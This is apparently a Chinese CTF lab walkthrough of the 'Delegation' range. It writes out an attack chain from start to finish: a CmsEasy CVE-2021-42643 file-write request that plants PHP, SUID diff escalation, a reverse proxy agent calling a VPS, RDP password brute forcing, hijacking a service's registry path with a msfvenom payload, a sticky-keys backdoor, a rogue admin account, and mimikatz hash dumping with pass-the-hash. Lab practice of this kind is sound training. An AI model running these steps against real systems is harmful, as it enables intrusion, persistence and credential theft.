Delegation


春秋云境-Delegation

考点1:CmsEasy-任意文件读取漏洞 (cve-2021-42643)+diff提权

dirsearch扫描一下可以发现一个admin路由, 访问这个路由自动跳转后台登录页面

弱口令登录 admin/123456

录界面可以看到它的版本号 V7.7.5.2

image-20251110202736974

版本存在任意文件写入和任意文件读取漏洞 (cve-2021-42643),直接利用poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.99.224.70
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=s97o5rf5rijd8u9viuos04oc65; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>

记得改cookie,显示ok就说写进去了

image-20251110203513742

image-20251110203547580

然后写马进去,蚁剑连,发现flag,但是读不了

image-20251110203805168

suid提权试试

1
find / -user root -perm -4000 -print 2>/dev/null
image-20251110204221296

发现可以用diff提权

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

https://gtfobins.github.io/gtfobins/diff/

image-20251110210222974

有个提示。

接下来看内网网段

image-20251110205651082

上传fscan扫一下

1
2
chmod 777 fscan
./fscan -h  172.22.4.0/24

4个内网主机

1
2
3
4
 172.22.4.45     XIAORANG\WIN19                
 172.22.4.7      DC:DC01.xiaorang.lab            
 172.22.4.19     FILESERVER.xiaorang.lab       
 172.22.4.36   当前受控主机

前面的flag里面给了个WIN19\Adrian的提示, 还有一个rockyou, 可以猜测是用rockyou字典爆破密码

搭建代理

1
把linux_x64_agent上传到当前目录(如/tmp目录),然后执行chmod 777 ./linux_x64_agent
1
把linux_x64_admin上传到自己的vps上,给执行权限后(chmod 777 ./linux_x64_admin)执行:./linux_x64_admin -l 12345 -s 123456
1
然后在这台已经getshell的机器上运行:./linux_x64_agent -c 101.200.39.193:12345 -s 123456 --reconnect 8	

然后在vps上依次执行

1
2
use 0
socks 5555  //端口可自定义
image-20251110212201622

考点2:rdp密码爆破

crackmapexec对smb服务爆破密码

它给了一个win的用户Adrian,那就是打rdp爆破了

1
proxychains crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19

爆破得到babygirl1

1
远程桌面连接一下 (用windows的远程桌面无法连接, 因为是过期的密码, 需要更改, 在windows上无法更改)
1
proxychains rdesktop 172.22.4.45

然后输入 用户名和密码 Adrian/babygirl1

考点三:注册表提权

再更改密码就可以正常登录了 ,在一个html文件发现可以修改注册表gupdate,明显就是注册表提权了

image-20251117183226743

我们先将gupdate的执行程序路径修改为cmd

1
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\windows\system32\cmd.exe" /f

改完后启动服务

1
sc start gupdate

发现不让直接绑定到cmd里面去

image-20251117185721967

用msf生成一个恶意exe文件

1
msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\bad.bat" --platform windows -f exe-service > b.exe
1
2
3
4
5
6
-p : 指定要使用的payload
windows/x64/exec: 适用于 64  Windows 系统的 payload,设计用于执行指定的命令, 这个 payload 会运行用户定义的命令(通过 cmd 参数指定)
C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\bad.bat: 启动windows里面的cmd(系统权限)运行一个批处理文件, /c 参数表示 cmd 执行后续的命令后立即退出q
--platform windows : 指定目标平台为 Windows,确保生成的 payload  Windows 系统兼容。
-f: 指定输出格式
exe-service: 表示生成一个 Windows 可执行文件(exe), 并且这个 exe 文件可以作为 Windows 服务运行(用于持久化或后台执行

为了能够让生成的exe文件上传上去, 远程桌面连接的时候开启一个共享文件夹(记得要先创建文件夹,比如sudo mkdir -p /mnt/xpw/kali_shard,然后将b.exe放到这文件夹sudo cp b.exe /mnt/xpw/kali_shard/)

1
proxychains4 xfreerdp /u:WIN19\\Adrian /p:'050218qazQAZ.' /v:172.22.4.45 /cert:ignore /drive:share,/mnt/xpw/kali_shard
1
2
3
/drive 允许将本地文件系统的一个目录映射到远程 Windows 系统,作为共享驱动器
share 是远程系统上显示的驱动器名称(可任意设置)
/mnt/xpw/kali_shard : 本地系统的目录路径, 作为一个共享文件夹
1
在Windows中可以通过以下路径访问到b.exe:tsclient\share\b.exe

image-20251117191556247

将上传的exe文件复制到桌面, 修改注册表绑定到gupdate服务上

1
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\b.exe" /f
1
2
3
4
5
/t 指定要添加或修改的注册表值的类型 (type)
REG_EXPAND_SZ : 一种字符串类型,允许包含环境变量(如 %SystemRoot%)
/v:指定要修改的注册表值的名称 (value)
/d:指定要设置的注册表值的数据 (data)
/f:表示强制执行操作,覆盖现有的值而无需用户确认 (force)

创建一个批处理文件bad.bat,内容 是

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
1
2
3
sethc.exe 表示 Windows 的“粘滞键”功能的程序, 在登录界面按 5 次 Shift 键触发
REG_SZ :是一种字符串类型,表示值是一个固定字符串
这个bat文件的作用就是在登录界面按5次 Shift 键触发粘滞键功能从而拿到系统权限的cmd

然后就可以打上面的命令启动服务了

image-20251117195239570

锁定账户, 进入rpd登录界面, 按5次shift键 拿到系统权限的cmd窗口

1
type C:\users\administrator\flag\flag02.txt

image-20251117205527346

1
2
3
net user tao 123456qwe. /add
net localgroup administrators tao /add
添加个管理员用户方便权限维持

总结一下流程

1
修改gupdate服务ImagePath -> 指向我们的b.exe -> 启动gupdate服务 -> b.exe以系统权限运行 -> b.exe执行bad.bat -> bad.bat修改注册表设置sethc.exe的调试器为cmd.exe -> 锁定计算机 -> 在登录界面按5次shift -> 触发sethc.exe的调试器即cmd.exe并以系统权限运行 -> 获取系统权限

考点四:猕猴桃抓hash

新用户连接远程桌面, 新用户是管理员组, 权限较高

1
proxychains4 xfreerdp /u:WIN19\\tao /p:'123456qwe.' /v:172.22.4.45 /cert:ignore /drive:share,/mnt/xpw/kali_shard

上传一个mimikatz.exe, 抓取用户密钥以管理员身份运行

1
2
privilege::debug
sekurlsa::logonpasswords

image-20251214210439235

可以拿到WIN19$机器账户的NTLM 搜集域内信息通常需要域内账户的凭据(域内用户或机器账户)

1
fd24e922667ef1f8477b6a8f52a8e64f

考点:域内信息搜集

Adinfo

1
Adinfo_win.exe -d xiaorang.lab --dc 172.22.4.7 -u WIN19$ -H fd24e922667ef1f8477b6a8f52a8e64f
1
2
3
4
Adinfo_win.exe: 用于查询 Active Directory 域信息的工具
-d: 指定目标域的域名
--dc: 指定域控制器(DC)的 IP 地址或主机名
-H : 表示使用 NTLM 哈希进行认证,而不是明文密码

https://github.com/lzzbb/Adinfo/releases

image-20251214210710795

1
`Unconstrained Delegation`:无约束委派,这个表明计算机 WIN19 被配置为无约束委派,那么这里下一步就很明显的是无约束委派攻击的方式了

非约束性委派攻击

谢谢观看